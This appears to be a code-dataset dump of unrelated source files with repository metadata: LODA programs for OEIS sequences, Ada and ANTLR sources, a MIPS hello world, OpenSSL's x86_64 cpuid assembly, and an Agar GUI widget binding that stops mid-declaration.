Categories/Pushout.agda
copumpkin/categories
98
6811
module Categories.Pushout where
programs/oeis/077/A077262.asm
neoneye/loda
22
244048
; A077262: Second member of the Diophantine pair (m,k) that satisfies 5*(m^2 + m) = k^2 + k; a(n) = k. ; 0,5,14,99,260,1785,4674,32039,83880,574925,1505174,10316619,27009260,185124225,484661514,3321919439,8696898000,59609425685,156059502494,1069647742899,2800374146900,19194049946505,50250675141714,344423251294199,901711778403960,6180424473349085,16180561336129574,110903217268989339,290348392271928380,1990077486368459025,5210090499558581274,35710491537363273119,93491280599782534560,640798770186170457125,1677632960296527040814,11498667371813704955139,30103902004737704200100,206335213922460518735385,540192603124982148560994,3702535183232475632281799,9693362954244940969897800,66439298084262100862337005,173940340573283955309599414,1192204830333485339889784299,3121232767364866254602891660,21393247647918474017153780385,56008249471994308627542450474,383886252832199046968878262639,1005027257728532689041161216880,6888559303331664371422654947125,18034482389641594094113359453374,123610181207137759638638910785619,323615655755820161004999308943860,2218094702425148009124077739194025,5807047321215121303995874201536114,39802094462445526404594760394706839,104203236126116363310920736318706200,714219605621594327273581609365529085 add $0,1 mov $2,$0 div $0,2 sub $0,1 add $0,$2 mov $1,$0 mov $0,1 mov $3,2 lpb $1 sub $1,1 add $3,$0 add $0,$3 lpe div $0,2
Task/Continued-fraction/Ada/continued-fraction-4.ada
LaudateCorpus1/RosettaCodeData
1
4430
<reponame>LaudateCorpus1/RosettaCodeData<filename>Task/Continued-fraction/Ada/continued-fraction-4.ada<gh_stars>1-10 generic type Scalar is digits <>; with function A (N : in Natural) return Natural; with function B (N : in Positive) return Natural; function Continued_Fraction_Ada95 (Steps : in Natural) return Scalar;
src/stars/examples/basics/hello_world1.asm
kevintmcdonnell/stars
9
86704
# Hello world program .data Greeting: .asciiz "Hello world!\n" .text main: # Prints a string on the screen li $v0, 4 la $a0, Greeting syscall # Terminates the program li $v0, 10 syscall
programs/oeis/006/A006288.asm
neoneye/loda
22
11741
; A006288: Loxton-van der Poorten sequence: base-4 representation contains only -1, 0, +1. ; 0,1,3,4,5,11,12,13,15,16,17,19,20,21,43,44,45,47,48,49,51,52,53,59,60,61,63,64,65,67,68,69,75,76,77,79,80,81,83,84,85,171,172,173,175,176,177,179,180,181,187,188,189,191,192,193,195,196,197,203,204,205,207,208,209 mov $2,$0 add $2,1 mov $5,$0 lpb $2 mov $0,$5 sub $2,1 sub $0,$2 mov $3,2 mov $4,0 lpb $0 sub $0,1 add $0,$3 mul $0,2 dif $0,6 add $4,1 mul $4,4 lpe div $4,4 add $4,1 add $1,$4 lpe sub $1,1 mov $0,$1
src/main/antlr/adl/odin_values.g4
openEHR/adl-antlr
1
6319
// // grammar defining ODIN terminal value types, including atoms, lists and intervals // author: <NAME> <<EMAIL>> // support: openEHR Specifications PR tracker <https://openehr.atlassian.net/projects/SPECPR/issues> // copyright: Copyright (c) 2018- openEHR Foundation <http://www.openEHR.org> // grammar odin_values; import base_lexer; // // ========================= Parser ============================ // primitive_object : primitive_value | primitive_list_value | primitive_interval_value ; primitive_value : string_value | integer_value | real_value | boolean_value | character_value | term_code_value | date_value | time_value | date_time_value | duration_value ; primitive_list_value : string_list_value | integer_list_value | real_list_value | boolean_list_value | character_list_value | term_code_list_value | date_list_value | time_list_value | date_time_list_value | duration_list_value ; primitive_interval_value : integer_interval_value | real_interval_value | date_interval_value | time_interval_value | date_time_interval_value | duration_interval_value ; string_value : STRING ; string_list_value : string_value ( ( ',' string_value )+ | ',' SYM_LIST_CONTINUE ) ; integer_value : ( '+' | '-' )? INTEGER ; integer_list_value : integer_value ( ( ',' integer_value )+ | ',' SYM_LIST_CONTINUE ) ; integer_interval_value : '|' SYM_GT? integer_value '..' SYM_LT? integer_value '|' | '|' relop? integer_value '|' | '|' integer_value SYM_PLUS_OR_MINUS integer_value '|' ; integer_interval_list_value : integer_interval_value ( ( ',' integer_interval_value )+ | ',' SYM_LIST_CONTINUE ) ; real_value : ( '+' | '-' )? REAL ; real_list_value : real_value ( ( ',' real_value )+ | ',' SYM_LIST_CONTINUE ) ; real_interval_value : '|' SYM_GT? real_value '..' SYM_LT? real_value '|' | '|' relop? real_value '|' | '|' real_value SYM_PLUS_OR_MINUS real_value '|' ; real_interval_list_value : real_interval_value ( ( ',' real_interval_value )+ | ',' SYM_LIST_CONTINUE ) ; boolean_value : SYM_TRUE | SYM_FALSE ; boolean_list_value : boolean_value ( ( ',' boolean_value )+ | ',' SYM_LIST_CONTINUE ) ; character_value : CHARACTER ; character_list_value : character_value ( ( ',' character_value )+ | ',' SYM_LIST_CONTINUE ) ; date_value : ISO8601_DATE ; date_list_value : date_value ( ( ',' date_value )+ | ',' SYM_LIST_CONTINUE ) ; date_interval_value : '|' SYM_GT? date_value '..' SYM_LT? date_value '|' | '|' relop? date_value '|' | '|' date_value SYM_PLUS_OR_MINUS duration_value '|' ; date_interval_list_value : date_interval_value ( ( ',' date_interval_value )+ | ',' SYM_LIST_CONTINUE ) ; time_value : ISO8601_TIME ; time_list_value : time_value ( ( ',' time_value )+ | ',' SYM_LIST_CONTINUE ) ; time_interval_value : '|' SYM_GT? time_value '..' SYM_LT? time_value '|' | '|' relop? time_value '|' | '|' time_value SYM_PLUS_OR_MINUS duration_value '|' ; time_interval_list_value : time_interval_value ( ( ',' time_interval_value )+ | ',' SYM_LIST_CONTINUE ) ; date_time_value : ISO8601_DATE_TIME ; date_time_list_value : date_time_value ( ( ',' date_time_value )+ | ',' SYM_LIST_CONTINUE ) ; date_time_interval_value : '|' SYM_GT? date_time_value '..' SYM_LT? date_time_value '|' | '|' relop? date_time_value '|' | '|' date_time_value SYM_PLUS_OR_MINUS duration_value '|' ; date_time_interval_list_value : date_time_interval_value ( ( ',' date_time_interval_value )+ | ',' SYM_LIST_CONTINUE ) ; duration_value : ISO8601_DURATION ; duration_list_value : duration_value ( ( ',' duration_value )+ | ',' SYM_LIST_CONTINUE ) ; duration_interval_value : '|' SYM_GT? duration_value '..' SYM_LT? duration_value '|' | '|' relop? duration_value '|' | '|' duration_value SYM_PLUS_OR_MINUS duration_value '|' ; duration_interval_list_value : duration_interval_value ( ( ',' duration_interval_value )+ | ',' SYM_LIST_CONTINUE ) ; term_code_value : TERM_CODE_REF ; term_code_list_value : term_code_value ( ( ',' term_code_value )+ | ',' SYM_LIST_CONTINUE ) ; relop : SYM_GT | SYM_LT | SYM_LE | SYM_GE ;
oeis/290/A290999.asm
neoneye/loda-programs
11
165694
; A290999: p-INVERT of (1,1,1,1,1,...), where p(S) = 1 - 6*S^2. ; Submitted by <NAME> ; 0,6,12,54,168,606,2052,7134,24528,84726,292092,1007814,3476088,11991246,41362932,142682094,492178848,1697768166,5856430572,20201701974,69685556808,240379623486,829187031012,2860272179454,9866479513968,34034319925206,117401037420252,404973674466534,1396952536034328,4818773444401326,16622309568974292,57338486359955214,197788520564781888,682269472929339846,2353481548682589132,8118310462011877494,28004028667436700648,96599609644932788766,333219362627049080772,1149436773478762105374 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,6 add $3,$1 add $1,$2 lpe mov $0,$1
code/vendor/openssl/asm/crypto/x86_64cpuid.asm
thorium-cfx/fivem
5,411
89472
<filename>code/vendor/openssl/asm/crypto/x86_64cpuid.asm<gh_stars>1000+ OPTION DOTNAME EXTERN OPENSSL_cpuid_setup:NEAR .CRT$XCU SEGMENT READONLY ALIGN(8) DQ OPENSSL_cpuid_setup .CRT$XCU ENDS _DATA SEGMENT COMM OPENSSL_ia32cap_P:DWORD:4 _DATA ENDS .text$ SEGMENT ALIGN(256) 'CODE' PUBLIC OPENSSL_atomic_add ALIGN 16 OPENSSL_atomic_add PROC PUBLIC mov eax,DWORD PTR[rcx] $L$spin:: lea r8,QWORD PTR[rax*1+rdx] DB 0f0h cmpxchg DWORD PTR[rcx],r8d jne $L$spin mov eax,r8d DB 048h,098h DB 0F3h,0C3h ;repret OPENSSL_atomic_add ENDP PUBLIC OPENSSL_rdtsc ALIGN 16 OPENSSL_rdtsc PROC PUBLIC rdtsc shl rdx,32 or rax,rdx DB 0F3h,0C3h ;repret OPENSSL_rdtsc ENDP PUBLIC OPENSSL_ia32_cpuid ALIGN 16 OPENSSL_ia32_cpuid PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_OPENSSL_ia32_cpuid:: mov rdi,rcx mov r8,rbx xor eax,eax mov QWORD PTR[8+rdi],rax cpuid mov r11d,eax xor eax,eax cmp ebx,0756e6547h setne al mov r9d,eax cmp edx,049656e69h setne al or r9d,eax cmp ecx,06c65746eh setne al or r9d,eax jz $L$intel cmp ebx,068747541h setne al mov r10d,eax cmp edx,069746E65h setne al or r10d,eax cmp ecx,0444D4163h setne al or r10d,eax jnz $L$intel mov eax,080000000h cpuid cmp eax,080000001h jb $L$intel mov r10d,eax mov eax,080000001h cpuid or r9d,ecx and r9d,000000801h cmp r10d,080000008h jb $L$intel mov eax,080000008h cpuid movzx r10,cl inc r10 mov eax,1 cpuid bt edx,28 jnc $L$generic shr ebx,16 cmp bl,r10b ja $L$generic and edx,0efffffffh jmp $L$generic $L$intel:: cmp r11d,4 mov r10d,-1 jb $L$nocacheinfo mov eax,4 mov ecx,0 cpuid mov r10d,eax shr r10d,14 and r10d,0fffh $L$nocacheinfo:: mov eax,1 cpuid movd xmm0,eax and edx,0bfefffffh cmp r9d,0 jne $L$notintel or edx,040000000h and ah,15 cmp ah,15 jne $L$notP4 or edx,000100000h $L$notP4:: cmp ah,6 jne $L$notintel and eax,00fff0ff0h cmp eax,000050670h je $L$knights cmp eax,000080650h jne $L$notintel $L$knights:: and ecx,0fbffffffh $L$notintel:: bt edx,28 jnc $L$generic and edx,0efffffffh cmp r10d,0 je $L$generic or edx,010000000h shr ebx,16 cmp bl,1 ja $L$generic and edx,0efffffffh $L$generic:: and r9d,000000800h and ecx,0fffff7ffh or r9d,ecx mov r10d,edx cmp r11d,7 jb $L$no_extended_info mov eax,7 xor ecx,ecx cpuid bt r9d,26 jc $L$notknights and ebx,0fff7ffffh $L$notknights:: movd eax,xmm0 and eax,00fff0ff0h cmp eax,000050650h jne $L$notskylakex and ebx,0fffeffffh $L$notskylakex:: mov DWORD PTR[8+rdi],ebx mov DWORD PTR[12+rdi],ecx $L$no_extended_info:: bt r9d,27 jnc $L$clear_avx xor ecx,ecx DB 00fh,001h,0d0h and eax,0e6h cmp eax,0e6h je $L$done and DWORD PTR[8+rdi],03fdeffffh and eax,6 cmp eax,6 je $L$done $L$clear_avx:: mov eax,0efffe7ffh and r9d,eax mov eax,03fdeffdfh and DWORD PTR[8+rdi],eax $L$done:: shl r9,32 mov eax,r10d mov rbx,r8 or rax,r9 mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_OPENSSL_ia32_cpuid:: OPENSSL_ia32_cpuid ENDP PUBLIC OPENSSL_cleanse ALIGN 16 OPENSSL_cleanse PROC PUBLIC xor rax,rax cmp rdx,15 jae $L$ot cmp rdx,0 je $L$ret $L$ittle:: mov BYTE PTR[rcx],al sub rdx,1 lea rcx,QWORD PTR[1+rcx] jnz $L$ittle $L$ret:: DB 0F3h,0C3h ;repret ALIGN 16 $L$ot:: test rcx,7 jz $L$aligned mov BYTE PTR[rcx],al lea rdx,QWORD PTR[((-1))+rdx] lea rcx,QWORD PTR[1+rcx] jmp $L$ot $L$aligned:: mov QWORD PTR[rcx],rax lea rdx,QWORD PTR[((-8))+rdx] test rdx,-8 lea rcx,QWORD PTR[8+rcx] jnz $L$aligned cmp rdx,0 jne $L$ittle DB 0F3h,0C3h ;repret OPENSSL_cleanse ENDP PUBLIC CRYPTO_memcmp ALIGN 16 CRYPTO_memcmp PROC PUBLIC xor rax,rax xor r10,r10 cmp r8,0 je $L$no_data cmp r8,16 jne $L$oop_cmp mov r10,QWORD PTR[rcx] mov r11,QWORD PTR[8+rcx] mov r8,1 xor r10,QWORD PTR[rdx] xor r11,QWORD PTR[8+rdx] or r10,r11 cmovnz rax,r8 DB 0F3h,0C3h ;repret ALIGN 16 $L$oop_cmp:: mov r10b,BYTE PTR[rcx] lea rcx,QWORD PTR[1+rcx] xor r10b,BYTE PTR[rdx] lea rdx,QWORD PTR[1+rdx] or al,r10b dec r8 jnz $L$oop_cmp neg rax shr rax,63 $L$no_data:: DB 0F3h,0C3h ;repret CRYPTO_memcmp ENDP PUBLIC OPENSSL_wipe_cpu ALIGN 16 OPENSSL_wipe_cpu PROC PUBLIC pxor xmm0,xmm0 pxor xmm1,xmm1 pxor xmm2,xmm2 pxor xmm3,xmm3 pxor xmm4,xmm4 pxor xmm5,xmm5 xor rcx,rcx xor rdx,rdx xor r8,r8 xor r9,r9 xor r10,r10 xor r11,r11 lea rax,QWORD PTR[8+rsp] DB 0F3h,0C3h ;repret OPENSSL_wipe_cpu ENDP PUBLIC OPENSSL_instrument_bus ALIGN 16 OPENSSL_instrument_bus PROC PUBLIC mov r10,rcx mov rcx,rdx mov r11,rdx rdtsc mov r8d,eax mov r9d,0 clflush [r10] DB 0f0h add DWORD PTR[r10],r9d jmp $L$oop ALIGN 16 $L$oop:: rdtsc mov edx,eax sub eax,r8d mov r8d,edx mov r9d,eax clflush [r10] DB 0f0h add DWORD PTR[r10],eax lea r10,QWORD PTR[4+r10] sub rcx,1 jnz $L$oop mov rax,r11 DB 0F3h,0C3h ;repret OPENSSL_instrument_bus ENDP PUBLIC OPENSSL_instrument_bus2 ALIGN 16 OPENSSL_instrument_bus2 PROC PUBLIC mov r10,rcx mov rcx,rdx mov r11,r8 mov QWORD PTR[8+rsp],rcx rdtsc mov r8d,eax mov r9d,0 clflush [r10] DB 0f0h add DWORD PTR[r10],r9d rdtsc mov edx,eax sub eax,r8d mov r8d,edx mov r9d,eax $L$oop2:: clflush [r10] DB 0f0h add DWORD PTR[r10],eax sub r11,1 jz $L$done2 rdtsc mov edx,eax sub eax,r8d mov r8d,edx cmp eax,r9d mov r9d,eax mov edx,0 setne dl sub rcx,rdx lea r10,QWORD PTR[rdx*4+r10] jnz $L$oop2 $L$done2:: mov rax,QWORD PTR[8+rsp] sub rax,rcx DB 0F3h,0C3h ;repret OPENSSL_instrument_bus2 ENDP PUBLIC OPENSSL_ia32_rdrand_bytes ALIGN 16 OPENSSL_ia32_rdrand_bytes PROC PUBLIC xor rax,rax cmp rdx,0 je $L$done_rdrand_bytes mov r11,8 $L$oop_rdrand_bytes:: DB 73,15,199,242 jc $L$break_rdrand_bytes dec r11 jnz $L$oop_rdrand_bytes jmp $L$done_rdrand_bytes ALIGN 16 $L$break_rdrand_bytes:: cmp rdx,8 jb $L$tail_rdrand_bytes mov QWORD PTR[rcx],r10 lea rcx,QWORD PTR[8+rcx] add rax,8 sub rdx,8 jz $L$done_rdrand_bytes mov r11,8 jmp $L$oop_rdrand_bytes ALIGN 16 $L$tail_rdrand_bytes:: mov BYTE PTR[rcx],r10b lea rcx,QWORD PTR[1+rcx] inc rax shr r10,8 dec rdx jnz $L$tail_rdrand_bytes $L$done_rdrand_bytes:: xor r10,r10 DB 0F3h,0C3h ;repret OPENSSL_ia32_rdrand_bytes ENDP PUBLIC OPENSSL_ia32_rdseed_bytes ALIGN 16 OPENSSL_ia32_rdseed_bytes PROC PUBLIC xor rax,rax cmp rdx,0 je $L$done_rdseed_bytes mov r11,8 $L$oop_rdseed_bytes:: DB 73,15,199,250 jc $L$break_rdseed_bytes dec r11 jnz $L$oop_rdseed_bytes jmp $L$done_rdseed_bytes ALIGN 16 $L$break_rdseed_bytes:: cmp rdx,8 jb $L$tail_rdseed_bytes mov QWORD PTR[rcx],r10 lea rcx,QWORD PTR[8+rcx] add rax,8 sub rdx,8 jz $L$done_rdseed_bytes mov r11,8 jmp $L$oop_rdseed_bytes ALIGN 16 $L$tail_rdseed_bytes:: mov BYTE PTR[rcx],r10b lea rcx,QWORD PTR[1+rcx] inc rax shr r10,8 dec rdx jnz $L$tail_rdseed_bytes $L$done_rdseed_bytes:: xor r10,r10 DB 0F3h,0C3h ;repret OPENSSL_ia32_rdseed_bytes ENDP .text$ ENDS END
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_f_getcwd_drive.asm
jpoikela/z88dk
640
102746
<gh_stars>100-1000 ; unsigned char esx_f_getcwd_drive(unsigned char drive, char *buf) SECTION code_esxdos PUBLIC _esx_f_getcwd_drive EXTERN l_esx_f_getcwd_drive_callee _esx_f_getcwd_drive: pop de dec sp pop af pop hl push hl push af inc sp push de jp l_esx_f_getcwd_drive_callee
ada/original_2008/ada-gui/agar-gui-widget.ads
auzkok/libagar
286
13447
with agar.core.object; with agar.core.slist; with agar.core.threads; with agar.core.types; with agar.gui.colors; with agar.gui.rect; with agar.gui.surface; with interfaces.c.strings; package agar.gui.widget is package cs renames interfaces.c.strings; -- -- forward declarations -- type widget_t; type widget_access_t is access all widget_t; pragma convention (c, widget_access_t); type binding_t; type binding_access_t is access all binding_t; pragma convention (c, binding_access_t); -- this is necessary because of a circular dependency issue -- (widget -> menu -> widget) type fake_popup_menu_access_t is access all agar.core.types.void_ptr_t; pragma convention (c, fake_popup_menu_access_t); package binding_slist is new agar.core.slist (entry_type => binding_access_t); package menu_slist is new agar.core.slist (entry_type => fake_popup_menu_access_t); -- -- constants -- binding_name_max : constant c.unsigned := 16; -- -- types -- type size_req_t is record w : c.int; h : c.int; end record; type size_req_access_t is access all size_req_t; pragma convention (c, size_req_t); pragma convention (c, size_req_access_t); type size_alloc_t is record w : c.int; h : c.int; x : c.int; y : c.int; end record; type size_alloc_access_t is access all size_alloc_t; pragma convention (c, size_alloc_t); pragma convention (c, size_alloc_access_t); type class_t is record inherit : agar.core.object.class_t; draw : access procedure (vp : agar.core.types.void_ptr_t); size_request : access procedure (vp : agar.core.types.void_ptr_t; req : size_req_access_t); size_allocate : access function (vp : agar.core.types.void_ptr_t; alloc : size_alloc_access_t) return c.int; end record; type class_access_t is access all class_t; pragma convention (c, class_t); pragma convention (c, class_access_t); type binding_type_t is ( WIDGET_NONE, WIDGET_BOOL, WIDGET_UINT, WIDGET_INT, WIDGET_UINT8, WIDGET_SINT8, WIDGET_UINT16, WIDGET_SINT16, WIDGET_UINT32, WIDGET_SINT32, WIDGET_UINT64, WIDGET_SINT64, WIDGET_FLOAT, WIDGET_DOUBLE, WIDGET_LONG_DOUBLE, WIDGET_STRING, WIDGET_POINTER, WIDGET_PROP, WIDGET_FLAG, WIDGET_FLAG8, WIDGET_FLAG16, WIDGET_FLAG32 ); for binding_type_t use ( WIDGET_NONE => 0, WIDGET_BOOL => 1, WIDGET_UINT => 2, WIDGET_INT => 3, WIDGET_UINT8 => 4, WIDGET_SINT8 => 5, WIDGET_UINT16 => 6, WIDGET_SINT16 => 7, WIDGET_UINT32 => 8, WIDGET_SINT32 => 9, WIDGET_UINT64 => 10, WIDGET_SINT64 => 11, WIDGET_FLOAT => 12, WIDGET_DOUBLE => 13, WIDGET_LONG_DOUBLE => 14, WIDGET_STRING => 15, WIDGET_POINTER => 16, WIDGET_PROP => 17, WIDGET_FLAG => 18, WIDGET_FLAG8 => 19, WIDGET_FLAG16 => 20, WIDGET_FLAG32 => 21 ); for binding_type_t'size use c.unsigned'size; pragma convention (c, binding_type_t); type size_spec_t is ( WIDGET_BAD_SPEC, WIDGET_PIXELS, WIDGET_PERCENT, WIDGET_STRINGLEN, WIDGET_FILL ); for size_spec_t use ( WIDGET_BAD_SPEC => 0, WIDGET_PIXELS => 1, WIDGET_PERCENT => 2, WIDGET_STRINGLEN => 3, WIDGET_FILL => 4 ); for size_spec_t'size use c.unsigned'size; pragma convention (c, size_spec_t); type flag_descr_t is record bitmask : c.unsigned; descr : cs.chars_ptr; writeable : c.int; end record; type flag_descr_access_t is access all flag_descr_t; pragma convention (c, flag_descr_t); pragma convention (c, flag_descr_access_t); type binding_name_t is array (1 .. binding_name_max) of aliased c.char; pragma convention (c, binding_name_t); type binding_data_prop_t is array (1 .. agar.core.object.prop_key_max) of aliased c.char; pragma convention (c, binding_data_prop_t); type binding_data_union_selector_t is (prop, size, mask); type binding_data_union_t (selector : binding_data_union_selector_t := prop) is record case selector is when prop => prop : binding_data_prop_t; when size => size : c.size_t; when mask => mask : agar.core.types.uint32_t; end case; end record; pragma convention (c, binding_data_union_t); pragma unchecked_union (binding_data_union_t); type binding_t is record name : binding_name_t; binding_type : c.int; mutex : agar.core.threads.mutex_t; p1 : agar.core.types.void_ptr_t; data : binding_data_union_t; bindings : binding_slist.entry_t; end record; pragma convention (c, binding_t); type color_t is array (1 .. 4) of aliased agar.core.types.uint8_t; pragma convention (c, color_t); type surface_id_t is new c.int; pragma convention (c, surface_id_t); subtype flags_t is c.unsigned; -- widget type type widget_private_t is limited private; type widget_t is record object : aliased agar.core.object.object_t; flags : c.unsigned; x : c.int; y : c.int; w : c.int; h : c.int; privdata : widget_private_t; end record; pragma convention (c, widget_t); -- -- API -- procedure expand (widget : widget_access_t); pragma import (c, expand, "agar_widget_expand"); procedure expand_horizontal (widget : widget_access_t); pragma import (c, expand_horizontal, "agar_widget_expand_horizontal"); procedure expand_vertical (widget : widget_access_t); pragma import (c, expand_vertical, "agar_widget_expand_vertical"); procedure size_request (widget : widget_access_t; request : size_req_t); pragma import (c, size_request, "AG_WidgetSizeReq"); function size_allocate (widget : widget_access_t; alloc : size_alloc_t) return boolean; pragma inline (size_allocate); -- input state procedure enable (widget : widget_access_t); pragma import (c, enable, "agar_widget_enable"); procedure disable (widget : widget_access_t); pragma import (c, disable, "agar_widget_disable"); function enabled (widget : widget_access_t) return boolean; pragma inline (enabled); function disabled (widget : widget_access_t) return boolean; pragma inline (disabled); -- focus function focused (widget : widget_access_t) return boolean; pragma inline (focused); procedure focus (widget : widget_access_t); pragma import (c, focus, "AG_WidgetFocus"); procedure unfocus (widget : widget_access_t); pragma import (c, unfocus, "AG_WidgetUnfocus"); -- missing: find_focused moved to agar.gui.window -- blitting function map_surface (widget : widget_access_t; surface : agar.gui.surface.surface_access_t) return surface_id_t; pragma import (c, map_surface, "AG_WidgetMapSurface"); function map_surface_no_copy (widget : widget_access_t; surface : agar.gui.surface.surface_access_t) return surface_id_t; pragma import (c, map_surface_no_copy, "AG_WidgetMapSurfaceNODUP"); procedure replace_surface (widget : widget_access_t; surface_id : surface_id_t; surface : agar.gui.surface.surface_access_t); pragma import (c, replace_surface, "AG_WidgetReplaceSurface"); procedure replace_surface_no_copy (widget : widget_access_t; surface_id : surface_id_t; surface : agar.gui.surface.surface_access_t); pragma import (c, replace_surface_no_copy, "AG_WidgetReplaceSurfaceNODUP"); procedure unmap_surface (widget : widget_access_t; surface_id : surface_id_t); pragma import (c, unmap_surface, "agar_widget_unmap_surface"); procedure update_surface (widget : widget_access_t; surface_id : surface_id_t); pragma import (c, update_surface, "agar_widget_update_surface"); procedure blit (widget : widget_access_t; surface : agar.gui.surface.surface_access_t; x : natural; y : natural); pragma inline (blit); procedure blit_from (dest_widget : widget_access_t; src_widget : widget_access_t; surface_id : surface_id_t; rect : agar.gui.rect.rect_access_t; x : integer; y : integer); pragma inline (blit_from); procedure blit_surface (widget : widget_access_t; surface_id : surface_id_t; x : integer; y : integer); pragma inline (blit_surface); -- rendering procedure push_clip_rect (widget : widget_access_t; rect : agar.gui.rect.rect_t); pragma import (c, push_clip_rect, "AG_PushClipRect"); procedure pop_clip_rect (widget : widget_access_t); pragma import (c, pop_clip_rect, "AG_PopClipRect"); -- missing: push_cursor - documented but apparently not implemented -- missing: pop_cursor procedure put_pixel (widget : widget_access_t; x : natural; y : natural; color : agar.core.types.color_t); pragma inline (put_pixel); procedure put_pixel32 (widget : widget_access_t; x : natural; y : natural; color : agar.core.types.uint32_t); pragma inline (put_pixel32); procedure put_pixel_rgb (widget : widget_access_t; x : natural; y : natural; r : agar.core.types.uint8_t; g : agar.core.types.uint8_t; b : agar.core.types.uint8_t); pragma inline (put_pixel_rgb); procedure blend_pixel_rgba (widget : widget_access_t; x : natural; y : natural; color : color_t; func : agar.gui.colors.blend_func_t); pragma inline (blend_pixel_rgba); procedure blend_pixel_32 (widget : widget_access_t; x : natural; y : natural; color : agar.core.types.uint32_t; func : agar.gui.colors.blend_func_t); pragma inline (blend_pixel_32); -- misc function find_point (class_mask : string; x : natural; y : natural) return widget_access_t; pragma inline (find_point); function find_rect (class_mask : string; x : natural; y : natural; w : positive; h : positive) return widget_access_t; pragma inline (find_rect); -- coordinates function absolute_coords_inside (widget : widget_access_t; x : natural; y : natural) return boolean; pragma inline (absolute_coords_inside); function relative_coords_inside (widget : widget_access_t; x : natural; y : natural) return boolean; pragma inline (relative_coords_inside); -- position and size setting procedure set_position (widget : widget_access_t; x : natural; y : natural); pragma inline (set_position); procedure modify_position (widget : widget_access_t; x : integer := 0; y : integer := 0); pragma inline (modify_position); procedure set_size (widget : widget_access_t; width : positive; height : positive); pragma inline (set_size); procedure modify_size (widget : widget_access_t; width : integer := 0; height : integer := 0); pragma inline (modify_size); -- 'casting' function object (widget : widget_access_t) return agar.core.object.object_access_t; pragma inline (object); -- bindings package bindings is procedure bind_pointer (widget : widget_access_t; binding : string; variable : agar.core.types.void_ptr_t); pragma inline (bind_pointer); procedure bind_property (widget : widget_access_t; binding : string; object : agar.core.object.object_access_t; name : string); pragma inline (bind_property); procedure bind_boolean (widget : widget_access_t; binding : string; variable : agar.core.types.boolean_access_t); pragma inline (bind_boolean); procedure bind_integer (widget : widget_access_t; binding : string; variable : agar.core.types.integer_access_t); pragma inline (bind_integer); procedure bind_unsigned (widget : widget_access_t; binding : string; variable : agar.core.types.unsigned_access_t); pragma inline (bind_unsigned); procedure bind_float (widget : widget_access_t; binding : string; variable : agar.core.types.float_access_t); pragma inline (bind_float); procedure bind_double (widget : widget_access_t; binding : string; variable : agar.core.types.double_access_t); pragma inline (bind_double); procedure bind_uint8 (widget : widget_access_t; binding : string; variable : agar.core.types.uint8_ptr_t); pragma inline (bind_uint8); procedure bind_int8 (widget : widget_access_t; binding : string; variable : agar.core.types.int8_ptr_t); pragma inline (bind_int8); procedure bind_flag8 (widget : widget_access_t; binding : string; variable : agar.core.types.uint8_ptr_t; mask : agar.core.types.uint8_t); pragma inline (bind_flag8); procedure bind_uint16 (widget : widget_access_t; binding : string; variable : agar.core.types.uint16_ptr_t); pragma inline (bind_uint16); procedure bind_int16 (widget : widget_access_t; binding : string; variable : agar.core.types.int16_ptr_t); pragma inline (bind_int16); procedure bind_flag16 (widget : widget_access_t; binding : string; variable : agar.core.types.uint16_ptr_t; mask : agar.core.types.uint16_t); pragma inline (bind_flag16); procedure bind_uint32 (widget : widget_access_t; binding : string; variable : agar.core.types.uint32_ptr_t); pragma inline (bind_uint32); procedure bind_int32 (widget : widget_access_t; binding : string; variable : agar.core.types.int32_ptr_t); pragma inline (bind_int32); procedure bind_flag32 (widget : widget_access_t; binding : string; variable : agar.core.types.uint32_ptr_t; mask : agar.core.types.uint32_t); pragma inline (bind_flag32); -- get function get_pointer (widget : widget_access_t; binding : string) return agar.core.types.void_ptr_t; pragma inline (get_pointer); function get_boolean (widget : widget_access_t; binding : string) return agar.core.types.boolean_t; pragma inline (get_boolean); function get_integer (widget : widget_access_t; binding : string) return agar.core.types.integer_t; pragma inline (get_integer); function get_unsigned (widget : widget_access_t; binding : string) return agar.core.types.unsigned_t; pragma inline (get_unsigned); function get_float (widget : widget_access_t; binding : string) return agar.core.types.float_t; pragma inline (get_float); function get_double (widget : widget_access_t; binding : string) return agar.core.types.double_t; pragma inline (get_double); function get_uint8 (widget : widget_access_t; binding : string) return agar.core.types.uint8_t; pragma inline (get_uint8); function get_int8 (widget : widget_access_t; binding : string) return agar.core.types.int8_t; pragma inline (get_int8); function get_uint16 (widget : widget_access_t; binding : string) return agar.core.types.uint16_t; pragma inline (get_uint16); function get_int16 (widget : widget_access_t; binding : string) return agar.core.types.int16_t; pragma inline (get_int16); function get_uint32 (widget : widget_access_t; binding : string) return agar.core.types.uint32_t; pragma inline (get_uint32); function get_int32 (widget : widget_access_t; binding : string) return agar.core.types.int32_t; pragma inline (get_int32); -- set procedure set_pointer (widget : widget_access_t; binding : string; variable : agar.core.types.void_ptr_t); pragma inline (set_pointer); procedure set_boolean (widget : widget_access_t; binding : string; variable : agar.core.types.boolean_t); pragma inline (set_boolean); procedure set_integer (widget : widget_access_t; binding : string; variable : agar.core.types.integer_t); pragma inline (set_integer); procedure set_unsigned (widget : widget_access_t; binding : string; variable : agar.core.types.unsigned_t); pragma inline (set_unsigned); procedure set_float (widget : widget_access_t; binding : string; variable : agar.core.types.float_t); pragma inline (set_float); procedure set_double (widget : widget_access_t; binding : string; variable : agar.core.types.double_t); pragma inline (set_double); procedure set_uint8 (widget : widget_access_t; binding : string; variable : agar.core.types.uint8_t); pragma inline (set_uint8); procedure set_int8 (widget : widget_access_t; binding : string; variable : agar.core.types.int8_t); pragma inline (set_int8); procedure set_uint16 (widget : widget_access_t; binding : string; variable : agar.core.types.uint16_t); pragma inline (set_uint16); procedure set_int16 (widget : widget_access_t; binding : string; variable : agar.core.types.int16_t); pragma inline (set_int16); procedure set_uint32 (widget : widget_access_t; binding : string; variable : agar.core.types.uint32_t); pragma inline (set_uint32); procedure set_int32 (widget : widget_access_t; binding : string; variable : agar.core.types.int32_t); pragma inline (set_int32); end bindings; private -- widget type type widget_private_t is record r_view : agar.gui.rect.rect2_t; r_sens : agar.gui.rect.rect2_t; surfaces : access agar.gui.surface.surface_access_t; surface_flags : access c.unsigned; nsurfaces : c.unsigned; -- openGL textures : access c.unsigned; texcoords : access c.c_float; texture_gc : access c.unsigned; ntextures_gc : c.unsigned; bindings_lock 